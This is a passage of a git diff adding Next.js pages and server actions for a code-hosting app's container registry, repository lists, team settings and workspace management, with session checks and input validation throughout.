can fail the + * page, because a namespace whose repos cannot be listed is not one we can show. */ +async function memberView( + token: string, + owner: string, + ownHandle: boolean, + self: string, + team: { name: string; members: unknown[] } | null, +) { + const [repos, events, workspaces, environments] = await Promise.all([ + listRepos(token, owner), + activity(token, owner, 30), + // No owner filter on the caller's own page — the api then aggregates personal work + // plus every team they belong to, the same as the list pages do. + listWorkspaces(token, ownHandle ? undefined : owner), + listEnvironments(token, ownHandle ? undefined : owner), + ]); + if (!repos.ok) { + // An expired token is a session problem, not a missing namespace. + if (repos.kind === "unauthorized") redirect("/login?from=expired"); + if (repos.kind === "notFound") notFound(); + throw new Error(repos.message); + } + + const title = team ? team.name : self; + return ( + + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/guard.ts b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/guard.ts new file mode 100644 index 00000000..cab4127b --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/guard.ts @@ -0,0 +1,29 @@ +import "server-only"; +import { cache } from "react"; +import { notFound, redirect } from "next/navigation"; +import { getSession } from "@/lib/session"; +import { apiToken } from "@/lib/api-token"; +import { imageTags, type ImageTag } from "@/lib/browse"; + +export type ImageContext = { owner: string; image: string; token: string; tags: ImageTag[] }; + +/** Every image route: signed in, and this image exists in a namespace the caller + * may act in — the api answers 404 otherwise, so asking is the check. Wrapped in + * `cache` so the layout and the page beneath it resolve the image ONCE per + * request, the way `guardRepo` does for a repo. */ +export const guardImage = cache(async function guardImage(owner: string, image: string): Promise { + const session = await getSession(); + if (!session) redirect("/login"); + if (!session.user.username) redirect("/welcome"); + + const token = await apiToken(); + if (!token) redirect("/login"); + + const tags = await imageTags(token, owner, image); + if (!tags.ok) { + if (tags.kind === "unauthorized") redirect("/login?from=expired"); + if (tags.kind === "notFound") notFound(); + throw new Error(tags.message); + } + return { owner, image, token, tags: tags.value }; +}); diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/layout.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/layout.tsx new file mode 100644 index 00000000..5aa7c911 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/layout.tsx @@ -0,0 +1,15 @@ +import { guardImage } from "./guard"; + +/** Refusing here means no page under it has to check; the page frame itself comes + * from `(org)/layout.tsx`, which already wraps this. */ +export default async function ImageLayout({ + params, + children, +}: { + params: Promise<{ owner: string; image: string }>; + children: React.ReactNode; +}) { + const { owner, image } = await params; + await guardImage(owner, image); + return <>{children}; +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/loading.tsx new file mode 100644 index 00000000..587cb793 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/loading.tsx @@ -0,0 +1,27 @@ +import { Bone, LineBones, Skeleton } from "@/components/app/skeleton"; + +/** An image: title with a visibility chip, blurb, then the manifest list beside a 21rem aside + * — the same `lg:grid-cols-[minmax(0,1fr)_21rem]` the page uses. Tags and settings beneath it + * carry their own: no blurb on either, and their first block lands 26px and 18px higher. */ +export default function Loading() { + return ( + +
+ + +
+ +
+
+
+ +
+
+ + + +
+
+ + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/page.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/page.tsx new file mode 100644 index 00000000..988e03df --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/page.tsx @@ -0,0 +1,83 @@ +import { Lock } from "lucide-react"; +import { guardImage } from "./guard"; +import { size, when } from "@/lib/time"; +import { CopyLine } from "@/components/app/image-list"; + +/** One image's Details tab: what a `docker pull` on this name can resolve to, the + * facts about it, and the commands that grow it. The tag list itself lives on the + * Tags tab now — this page is the summary a repo's Code tab would be. */ +export default async function ImagePage({ params }: { params: Promise<{ owner: string; image: string }> }) { + const { owner, image } = await params; + const { tags: list } = await guardImage(owner, image); + + const host = (process.env.RUSTIC_GIT_REGISTRY_HOST ?? "cr.khost.dev").replace(/\/$/, ""); + const lastPublished = list.reduce((max, t) => { + if (t.pushed_ms === null) return max; + return max === null ? t.pushed_ms : Math.max(max, t.pushed_ms); + }, null); + const totalBytes = list.reduce((sum, t) => sum + t.bytes, 0); + const totalPulls = list.reduce((sum, t) => sum + t.pulls, 0); + + return ( +
+
+

{image}

+ {/* Every image is private today — there is no visibility toggle, so this + states the fact rather than implying a choice. Same chip as the repo + list draws, so the two pages read as one product. */} + + + Private + +
+

+ {list.length} {list.length === 1 ? "tag" : "tags"} · {size(totalBytes)} + {lastPublished !== null && <> · updated {when(lastPublished)}} +

+ +
+
+
+

+ Install from the command line +

+
+ +
+
+
+ + +
+
+ ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/settings/actions.ts b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/settings/actions.ts new file mode 100644 index 00000000..f639f7da --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/settings/actions.ts @@ -0,0 +1,49 @@ +"use server"; + +import { revalidatePath } from "next/cache"; +import { redirect } from "next/navigation"; +import { apiToken } from "@/lib/api-token"; +import { deleteImage, deleteImageTag } from "@/lib/browse"; +// `owner` and `image` reach both actions as FormData, and go straight into a revalidatePath +// PATTERN. A segment carrying `/` or `..` would silently revalidate something else, so each +// action refuses it — a bad one is never a real submission, since the pages that render these +// forms fill both fields from the route params. +import { safeRepoPath } from "@/lib/slug"; + +export type SettingsState = { ok?: true; error?: string } | null; + +/** One tag, gone. The manifest it pointed at is left alone — see + * `deleteImageTag`'s own doc comment — so this never touches a sibling tag on + * the same manifest. */ +export async function removeTag(_prev: SettingsState, formData: FormData): Promise { + const slug = safeRepoPath(String(formData.get("owner") ?? ""), String(formData.get("image") ?? "")); + if (!slug) return { error: "That image name is not valid." }; + const { owner, repo: image } = slug; + const tag = String(formData.get("tag") ?? ""); + if (!tag) return { error: "No tag named." }; + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + const r = await deleteImageTag(token, owner, image, tag); + if (!r.ok) return { error: r.message || "Could not delete the tag." }; + revalidatePath(`/${owner}/registries/${image}`, "layout"); + return null; +} + +/** Deleting is irreversible, so the form makes the person type the image's name + * and this checks it again — the same pattern `destroyRepo` uses, a disabled + * button is a hint, not a gate. */ +export async function destroyImage(_prev: SettingsState, formData: FormData): Promise { + const slug = safeRepoPath(String(formData.get("owner") ?? ""), String(formData.get("image") ?? "")); + if (!slug) return { error: "That image name is not valid." }; + const { owner, repo: image } = slug; + const confirm = String(formData.get("confirm") ?? "").trim(); + if (confirm !== image) return { error: `Type ${image} exactly to confirm.` }; + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + + const r = await deleteImage(token, owner, image); + if (!r.ok) return { error: r.message || "Could not delete the image." }; + revalidatePath(`/${owner}/registries`); + redirect(`/${owner}/registries`); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/settings/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/settings/loading.tsx new file mode 100644 index 00000000..469f4a7d --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/settings/loading.tsx @@ -0,0 +1,10 @@ +import { SettingsBones, Skeleton } from "@/components/app/skeleton"; + +/** image-settings.tsx: title with no subtitle, sections from y=194. */ +export default function Loading() { + return ( + + + + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/settings/page.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/settings/page.tsx new file mode 100644 index 00000000..687adaf8 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/settings/page.tsx @@ -0,0 +1,11 @@ +import type { Metadata } from "next"; +import { guardImage } from "../guard"; +import { ImageSettings } from "@/components/registry/image-settings"; + +export const metadata: Metadata = { title: "Image settings" }; + +export default async function Page({ params }: { params: Promise<{ owner: string; image: string }> }) { + const { owner, image } = await params; + const { tags } = await guardImage(owner, image); + return ; +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/tags/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/tags/loading.tsx new file mode 100644 index 00000000..76f6137a --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/tags/loading.tsx @@ -0,0 +1,20 @@ +import { Bone, Skeleton } from "@/components/app/skeleton"; + +/** Tags: a 30px title, then one card on `mt-6` (lands at 186) — a 45px header strip and 89px + * rows, each a tag line over a copy line. */ +export default function Loading() { + return ( + + +
+
+ {Array.from({ length: 3 }, (_, i) => ( +
+ + +
+ ))} +
+ + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/tags/page.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/tags/page.tsx new file mode 100644 index 00000000..5b93d881 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/[image]/tags/page.tsx @@ -0,0 +1,49 @@ +import { guardImage } from "../guard"; +import { size, when } from "@/lib/time"; +import { CopyLine } from "@/components/app/image-list"; + +/** The Tags tab: every tag this image has, full width — the list that used to + * crowd the Details tab. Same data fetch, same empty state, just its own page + * now that the tab row carries the navigation. */ +export default async function ImageTagsPage({ params }: { params: Promise<{ owner: string; image: string }> }) { + const { owner, image } = await params; + const { tags: list } = await guardImage(owner, image); + + return ( +
+

Tags

+ +
+

+ Tagged versions +

+ {list.length === 0 ? ( +
+

No tags

+

+ Every tag on this image has been removed. +

+
+ ) : ( +
    + {list.map((t) => ( +
  • +
    + {t.tag} + + {t.pulls} {t.pulls === 1 ? "pull" : "pulls"} + {t.pushed_ms === null ? "published unknown" : `published ${when(t.pushed_ms)}`} + {size(t.bytes)} + +
    +
    + +
    +
    • + ))} +
+ )} +
+
+ ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/registries/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/loading.tsx new file mode 100644 index 00000000..13f9a822 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/loading.tsx @@ -0,0 +1,13 @@ +import { ListBones, Skeleton, ToolbarBones } from "@/components/app/skeleton"; + +/** A filterable list: the search/tabs/button toolbar, then the bordered list. No heading — the + * tab row above is the heading. Per route rather than one file at the `(org)` level, because + * Next uses the NEAREST loading.tsx and a group-level one would shadow this for every child. */ +export default function Loading() { + return ( + + + + + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/registries/page.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/page.tsx new file mode 100644 index 00000000..470aea30 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/registries/page.tsx @@ -0,0 +1,35 @@ +import { notFound, redirect } from "next/navigation"; +import { getSession } from "@/lib/session"; +import { apiToken } from "@/lib/api-token"; +import { images } from "@/lib/browse"; +import { ImageList } from "@/components/app/image-list"; + +/** The tab the "Container Images" nav entry has always pointed at. An image + * appears here by being pushed — there is no create button — so this page's + * job on an empty team is to hand over the three lines that make one. */ +export default async function RegistriesPage({ params }: { params: Promise<{ owner: string }> }) { + const { owner } = await params; + const session = await getSession(); + if (!session) redirect("/login"); + if (!session.user.username) redirect("/welcome"); + + const token = await apiToken(); + if (!token) redirect("/login"); + + const list = await images(token, owner); + if (!list.ok) { + if (list.kind === "unauthorized") redirect("/login?from=expired"); + if (list.kind === "notFound") notFound(); + throw new Error(list.message); + } + + const host = (process.env.RUSTIC_GIT_REGISTRY_HOST ?? "cr.khost.dev").replace(/\/$/, ""); + + // Full page width, like every other list in the namespace — the section tab + // already names the page, so there is no title to repeat. + return ( +
+ +
+ ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/repos/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/repos/loading.tsx new file mode 100644 index 00000000..6f583176 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/repos/loading.tsx @@ -0,0 +1,19 @@ +import { Bone, LineBones, ListBones, Skeleton, ToolbarBones } from "@/components/app/skeleton"; + +/** `/{owner}/repos`: the repo list beside the activity rail, on `grid-cols-overview`. */ +export default function Loading() { + return ( + +
+
+ + +
+ +
+ + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/repos/page.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/repos/page.tsx new file mode 100644 index 00000000..d58518ca --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/repos/page.tsx @@ -0,0 +1,44 @@ +import { notFound, redirect } from "next/navigation"; +import { getSession } from "@/lib/session"; +import { apiToken } from "@/lib/api-token"; +import { activity, listRepos } from "@/lib/api"; +import { RepoList } from "@/components/app/repo-list"; +import { ActivityFeed } from "@/components/app/activity-feed"; + +/** An owner's repositories — their own handle or a team's, the same page either way. + * + * Membership is not checked here: the api answers 404 for a namespace the caller + * may not act in, so asking it IS the check. There is no public half of this page — + * a stranger reads a team's repos off its profile at `/{owner}`. */ +export default async function ReposPage({ params }: { params: Promise<{ owner: string }> }) { + const { owner } = await params; + const session = await getSession(); + if (!session) redirect("/login"); + if (!session.user.username) redirect("/welcome"); + const token = await apiToken(); + if (!token) redirect("/login"); + + // Together: the feed is decoration — only the repo list can fail the page. + const [repos, events] = await Promise.all([listRepos(token, owner), activity(token, owner, 10)]); + if (!repos.ok) { + // An expired token is a session problem, not a missing namespace. + if (repos.kind === "unauthorized") redirect("/login?from=expired"); + if (repos.kind === "notFound") notFound(); + throw new Error(repos.message); + } + + return ( +
+
+ +
+ + +
+ ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/settings/actions.ts b/web/apps/web/src/app/(shell)/[owner]/(org)/settings/actions.ts new file mode 100644 index 00000000..bdf30d1e --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/settings/actions.ts @@ -0,0 +1,161 @@ +"use server"; + +import { revalidatePath } from "next/cache"; +import { redirect } from "next/navigation"; +import { apiToken } from "@/lib/api-token"; +import * as api from "@/lib/api"; +import { safeSegment } from "@/lib/slug"; +import { sendInvite } from "@/lib/mail"; +import { getSession } from "@/lib/session"; +import { safeWebsite } from "@/lib/website"; + +/** Team settings. The api authorizes every one of these on the team's members — + * the slug in the form says which team, never whether the caller may touch it. + * Nothing here decides membership; a refusal comes back as the api's own words. */ + +export type TeamState = { ok?: true; error?: string } | null; + +/** An invitation's outcome carries the link when the email could NOT be sent, so the inviter + * can pass it on themselves. Never when it was sent — a token on screen is a token in a + * screenshot. */ +export type InviteState = { ok?: true; error?: string; link?: string; notice?: string } | null; + +/** The slug goes into a revalidatePath pattern, so a bad one is refused rather + * than revalidating something else. A real submission never carries one: the + * page fills the field from the route. */ +function slugOf(formData: FormData): string | null { + return safeSegment(String(formData.get("slug") ?? "")); +} + +async function tokenOr(): Promise { + return (await apiToken()) ?? { error: "Your session has expired. Sign in again." }; +} + +export async function saveTeam(_prev: TeamState, formData: FormData): Promise { + const slug = slugOf(formData); + if (!slug) return { error: "That team is not valid." }; + const name = String(formData.get("name") ?? "").trim(); + const description = String(formData.get("description") ?? ""); + if (!name) return { error: "Give the team a name." }; + const token = await tokenOr(); + if (typeof token !== "string") return token; + const r = await api.updateTeam(token, slug, { name, description }); + if (!r.ok) return { error: r.message || "Could not save." }; + // `layout`: the name is in the switcher and the shell header, not just this page. + revalidatePath(`/${slug}`, "layout"); + return { ok: true }; +} + +export async function invite(_prev: InviteState, formData: FormData): Promise { + const slug = slugOf(formData); + if (!slug) return { error: "That team is not valid." }; + const email = String(formData.get("email") ?? "").trim(); + const raw = String(formData.get("role") ?? "member"); + const role = raw === "owner" ? "owner" : raw === "admin" ? "admin" : "member"; + if (!email) return { error: "Enter their email." }; + const token = await tokenOr(); + if (typeof token !== "string") return token; + const session = await getSession(); + + const r = await api.createInvite(token, slug, email, role); + if (!r.ok) { + if (r.kind === "conflict") return { error: "They are already a member." }; + return { error: r.message || "Could not create the invitation." }; + } + // The link is built from the address the app believes it is on — the same one Auth.js + // uses for callbacks — so it is right wherever this is deployed. + const base = (process.env.AUTH_URL ?? "").replace(/\/$/, ""); + const link = `${base}/invite/${r.value.token}`; + const mail = await sendInvite({ + to: r.value.email, + teamName: r.value.team_name, + invitedBy: session?.user.name ?? session?.user.email ?? "A teammate", + role, + link, + }); + revalidatePath(`/${slug}/settings`); + if (!mail.sent) return { ok: true, link, notice: `${mail.reason} Send them this link instead.` }; + return { ok: true, notice: `Invitation sent to ${r.value.email}.` }; +} + +export async function revokeInvite(_prev: TeamState, formData: FormData): Promise { + const slug = slugOf(formData); + if (!slug) return { error: "That team is not valid." }; + const id = String(formData.get("id") ?? ""); + const token = await tokenOr(); + if (typeof token !== "string") return token; + const r = await api.revokeInvite(token, slug, id); + if (!r.ok) return { error: r.message || "Could not withdraw the invitation." }; + revalidatePath(`/${slug}/settings`); + return null; +} + +export async function setRole(_prev: TeamState, formData: FormData): Promise { + const slug = slugOf(formData); + if (!slug) return { error: "That team is not valid." }; + const email = String(formData.get("email") ?? ""); + const raw = String(formData.get("role") ?? "member"); + const role = raw === "owner" ? "owner" : raw === "admin" ? "admin" : "member"; + const token = await tokenOr(); + if (typeof token !== "string") return token; + const r = await api.setTeamRole(token, slug, email, role); + if (!r.ok) return { error: r.message || "Could not change the role." }; + revalidatePath(`/${slug}/settings`); + return null; +} + +export async function removeMember(_prev: TeamState, formData: FormData): Promise { + const slug = slugOf(formData); + if (!slug) return { error: "That team is not valid." }; + const email = String(formData.get("email") ?? ""); + const token = await tokenOr(); + if (typeof token !== "string") return token; + const r = await api.removeTeamMember(token, slug, email); + if (!r.ok) return { error: r.message || "Could not remove them." }; + // Removing yourself: the page you are on is no longer yours to see. + if (formData.get("self") === "1") redirect("/"); + revalidatePath(`/${slug}/settings`); + return null; +} + +export async function destroyTeam(_prev: TeamState, formData: FormData): Promise { + const slug = slugOf(formData); + if (!slug) return { error: "That team is not valid." }; + if (String(formData.get("confirm") ?? "") !== slug) return { error: "Type the team handle to confirm." }; + const token = await tokenOr(); + if (typeof token !== "string") return token; + const r = await api.deleteTeam(token, slug); + // 409 carries "still owns N repositories; delete or move them first" — shown as is. + if (!r.ok) return { error: r.message || "Could not delete the team." }; + revalidatePath("/", "layout"); + redirect("/"); +} + +export type ProfileState = { ok: true } | { error: string } | null; + +/** The public profile and the visibility flag, saved together — they are one form. + * `profile` is replace-not-merge on the api, so every field travels every time. */ +export async function saveProfile(_prev: ProfileState, formData: FormData): Promise { + const slug = slugOf(formData); + if (!slug) return { error: "That team is not valid." }; + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + // The name and description travel too: the api's PATCH replaces both every time. + const name = String(formData.get("name") ?? "").trim(); + const description = String(formData.get("description") ?? "").trim(); + const profile = { + public: formData.get("public") === "on", + tagline: String(formData.get("tagline") ?? "").trim(), + location: String(formData.get("location") ?? "").trim(), + website: String(formData.get("website") ?? "").trim(), + email: String(formData.get("email") ?? "").trim(), + pins: formData.getAll("pin").map(String), + }; + // The api refuses this too; checking here turns it into a field error rather than the api's + // bare 400 text. + if (profile.website && !safeWebsite(profile.website)) return { error: "Website must start with http:// or https://." }; + const r = await api.updateTeam(token, slug, { name, description, profile }); + if (!r.ok) return { error: r.message || "Could not save." }; + revalidatePath(`/${slug}`, "layout"); + return { ok: true }; +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/settings/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/settings/loading.tsx new file mode 100644 index 00000000..077cec77 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/settings/loading.tsx @@ -0,0 +1,12 @@ +import { SettingsBones, Skeleton } from "@/components/app/skeleton"; + +/** team-settings.tsx: title, then Team / Public profile / Visibility / Members / Danger zone. + * Public profile, Visibility and Danger zone are role-gated; the skeleton draws the OWNER + * shape (all five) — an admin sees four, a plain member two, and both are the rarer open. */ +export default function Loading() { + return ( + + + + ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/settings/page.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/settings/page.tsx new file mode 100644 index 00000000..3842599b --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/settings/page.tsx @@ -0,0 +1,31 @@ +import type { Metadata } from "next"; +import { notFound, redirect } from "next/navigation"; +import { getSession } from "@/lib/session"; +import { apiToken } from "@/lib/api-token"; +import { getTeam, listRepos } from "@/lib/api"; +import { TeamSettings } from "@/components/app/team-settings"; + +export const metadata: Metadata = { title: "Team settings" }; + +/** Membership is not checked here — see `(org)/page.tsx`: the api answers 404 for a team + * the caller is not in, so asking it IS the check. A personal namespace has no team + * document and gets the same 404, which is right: a person's settings are at /settings. */ +export default async function SettingsPage({ params }: { params: Promise<{ owner: string }> }) { + const { owner } = await params; + const session = await getSession(); + if (!session) redirect("/login"); + if (!session.user.username) redirect("/welcome"); + const token = await apiToken(); + if (!token) redirect("/login"); + + const [team, repos] = await Promise.all([getTeam(token, owner), listRepos(token, owner)]); + if (!team.ok) { + if (team.kind === "unauthorized") redirect("/login?from=expired"); + if (team.kind === "notFound") notFound(); + throw new Error(team.message); + } + // No
here: the (org) layout draws the page container, and a second one indented this + // page 24px right and 32px down of every sibling. + // A failed repo list is not an error page — it only means nothing to pin. + return ; +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/workspaces/[id]/snapshots/page.tsx b/web/apps/web/src/app/(shell)/[owner]/(org)/workspaces/[id]/snapshots/page.tsx new file mode 100644 index 00000000..bd057588 --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/workspaces/[id]/snapshots/page.tsx @@ -0,0 +1,77 @@ +import Link from "next/link"; +import { ArrowLeft, Camera } from "lucide-react"; +import { notFound, redirect } from "next/navigation"; +import { getSession } from "@/lib/session"; +import { apiToken } from "@/lib/api-token"; +import { volumeHistory } from "@/lib/api"; +import { when } from "@/lib/time"; +import { RestoreDialog } from "@/components/app/restore-dialog"; + +/** A workspace's OWN snapshots — the only user-facing surface for them, reached from that + * workspace's row and nowhere else. Environment snapshots are the shared artifact and live on + * the Snapshots tab; a workspace's are durability and undo for the person who owns it. + * + * The api enforces that, not this page: `/v1/volumes/{id}/history` and `/v1/workspaces/restore` + * both scope to volumes under the caller's own owner label, so a teammate who guesses the id + * gets a 404. Restoring produces a NEW workspace from the chosen snapshot — restoring in place + * is deliberately not offered. */ +export default async function Page({ + params, +}: { + params: Promise<{ owner: string; id: string }>; +}) { + const { owner, id } = await params; + const session = await getSession(); + if (!session) redirect("/login"); + if (!session.user.username) redirect("/welcome"); + + const token = await apiToken(); + if (!token) redirect("/login"); + + const history = await volumeHistory(token, id); + if (!history.ok) { + if (history.kind === "unauthorized") redirect("/login?from=expired"); + if (history.kind === "notFound") notFound(); + throw new Error(history.message); + } + + return ( +
+ + Workspaces + +

+ + {id} +

+ + {history.value.length === 0 ? ( +

+ No snapshots yet. Push the workspace to take one. +

+ ) : ( +
    + {history.value.map((c) => ( +
  • +
    +
    + {c.id.slice(0, 8)} + + {c.message || "—"} + +
    + + {when(new Date(c.created_at).getTime())} + +
    + +
    • + ))} +
+ )} +
+ ); +} diff --git a/web/apps/web/src/app/(shell)/[owner]/(org)/workspaces/actions.ts b/web/apps/web/src/app/(shell)/[owner]/(org)/workspaces/actions.ts new file mode 100644 index 00000000..f699db3c --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/(org)/workspaces/actions.ts @@ -0,0 +1,179 @@ +"use server"; + +import { revalidatePath } from "next/cache"; +import { redirect } from "next/navigation"; +import { apiToken } from "@/lib/api-token"; +import * as api from "@/lib/api"; +// `owner` reaches every action below as FormData, and goes straight into a revalidatePath +// PATTERN. A segment carrying `/` or `..` would silently revalidate something else, so each +// action refuses it — a bad one is never a real submission, since the pages that render these +// forms fill the field from the route params. +import { safeSegment } from "@/lib/slug"; +import { getSession } from "@/lib/session"; + +/** `ok` is what lets a dialog close on success — see `useDialogUntilSuccess`. */ +export type WsActionState = { ok?: true; error?: string } | null; + +/** Mutations are async jobs (202 + a doc whose `state` is still `creating`), so + * there is nothing to poll here: revalidating just re-renders the list with + * whatever state the api already wrote, same as every other list in the app. */ +export async function pushWorkspace(_prev: WsActionState, formData: FormData): Promise { + const owner = safeSegment(String(formData.get("owner") ?? "")); + if (!owner) return { error: "That owner name is not valid." }; + const id = String(formData.get("id") ?? ""); + const message = String(formData.get("message") ?? "").trim(); + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + + const r = await api.pushWorkspace(token, id, message || undefined); + if (!r.ok) return { error: r.message || "Could not push." }; + revalidatePath(`/${owner}/workspaces`); + return { ok: true }; +} + +export async function cloneWorkspace(_prev: WsActionState, formData: FormData): Promise { + const owner = safeSegment(String(formData.get("owner") ?? "")); + if (!owner) return { error: "That owner name is not valid." }; + const id = String(formData.get("id") ?? ""); + const name = String(formData.get("name") ?? "").trim(); + if (!name) return { error: "Name the clone." }; + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + + const r = await api.cloneWorkspace(token, id, name); + if (!r.ok) return { error: r.message || "Could not clone." }; + revalidatePath(`/${owner}/workspaces`); + return { ok: true }; +} + +export async function restoreWorkspace(_prev: WsActionState, formData: FormData): Promise { + const owner = safeSegment(String(formData.get("owner") ?? "")); + if (!owner) return { error: "That owner name is not valid." }; + const snapshotId = String(formData.get("snapshotId") ?? ""); + const name = String(formData.get("name") ?? "").trim(); + if (!name) return { error: "Name the new workspace." }; + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + + const r = await api.restoreWorkspace(token, name, snapshotId); + if (!r.ok) return { error: r.message || "Could not restore." }; + revalidatePath(`/${owner}/workspaces`); + return { ok: true }; +} + +export async function startWorkspace(_prev: WsActionState, formData: FormData): Promise { + const owner = safeSegment(String(formData.get("owner") ?? "")); + if (!owner) return { error: "That owner name is not valid." }; + const id = String(formData.get("id") ?? ""); + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + + const r = await api.startWorkspace(token, id); + if (!r.ok) return { error: r.message || "Could not start." }; + revalidatePath(`/${owner}/workspaces`); + return { ok: true }; +} + +export async function stopWorkspace(_prev: WsActionState, formData: FormData): Promise { + const owner = safeSegment(String(formData.get("owner") ?? "")); + if (!owner) return { error: "That owner name is not valid." }; + const id = String(formData.get("id") ?? ""); + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + + const r = await api.stopWorkspace(token, id); + if (!r.ok) return { error: r.message || "Could not stop." }; + revalidatePath(`/${owner}/workspaces`); + return { ok: true }; +} + +export async function deleteWorkspace(_prev: WsActionState, formData: FormData): Promise { + const owner = safeSegment(String(formData.get("owner") ?? "")); + if (!owner) return { error: "That owner name is not valid." }; + const id = String(formData.get("id") ?? ""); + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + + const r = await api.deleteWorkspace(token, id); + if (!r.ok) return { error: r.message || "Could not delete." }; + revalidatePath(`/${owner}/workspaces`); + return { ok: true }; +} + +/** "Open in a workspace", from the repo Clone menu and the PR header: one workspace per + * (repo, branch), reused if it is already there. The backend does the rest — the controller + * clones the repo with a token minted for this caller. */ +export async function openInWorkspace(_prev: WsActionState, formData: FormData): Promise { + const owner = safeSegment(String(formData.get("owner") ?? "")); + const repo = safeSegment(String(formData.get("repo") ?? "")); + // A branch is not a path segment — it legitimately carries `/` — so it gets its own rule + // rather than `safeSegment`. It never reaches revalidatePath; it only goes to the api. + const branch = String(formData.get("branch") ?? "").trim(); + if (!owner || !repo) return { error: "That repository name is not valid." }; + if (!branch || branch.includes("..") || branch.startsWith("-")) return { error: "That branch name is not valid." }; + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + const session = await getSession(); + + // A repo under your own handle is personal work, not a team's — same rule the api applies. + const team = session?.user.owner === owner ? undefined : owner; + const name = `${repo}-${branch}` + .toLowerCase() + .replace(/[^a-z0-9-]+/g, "-") + .replace(/-+/g, "-") + .replace(/^-|-$/g, "") + .slice(0, 40); + + const existing = await api.listWorkspaces(token, team); + if (!existing.ok) return { error: existing.message || "Could not read your workspaces." }; + if (!existing.value.some((w) => w.name === name)) { + const regions = await api.listRegions(token); + if (!regions.ok) return { error: regions.message || "Could not read the regions." }; + // ponytail: first ACTIVE region; a picker when there is a second. A retired region stays in + // the list so its old records still resolve, so "first" alone once chose a region with no + // agents in it and the workspace sat unplaced forever. + const region = regions.value.find((r) => r.status === "active")?.id; + if (!region) return { error: "No region is available to run a workspace in." }; + + const r = await api.createWorkspace(token, { + team, + name, + region, + quota_gb: 10, + repo: `${owner}/${repo}`, + branch, + }); + if (!r.ok) return { error: r.message || "Could not open a workspace." }; + } + + revalidatePath(`/${owner}/workspaces`); + // Outside every catch above on purpose: redirect works by throwing. + redirect(`/${owner}/workspaces`); +} + +/** The whole package list, replaced. The field is free text (whitespace or commas) because that + * is how the names are written down everywhere else — a nixpkgs attribute never contains + * either, so the split cannot corrupt one. Validation is the api's; its 422 names the entry. */ +export async function setPackages(_prev: WsActionState, formData: FormData): Promise { + const owner = safeSegment(String(formData.get("owner") ?? "")); + if (!owner) return { error: "That owner name is not valid." }; + const id = String(formData.get("id") ?? ""); + const packages = String(formData.get("packages") ?? "") + .split(/[\s,]+/) + .filter(Boolean); + + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + + const r = await api.setWorkspacePackages(token, id, packages); + 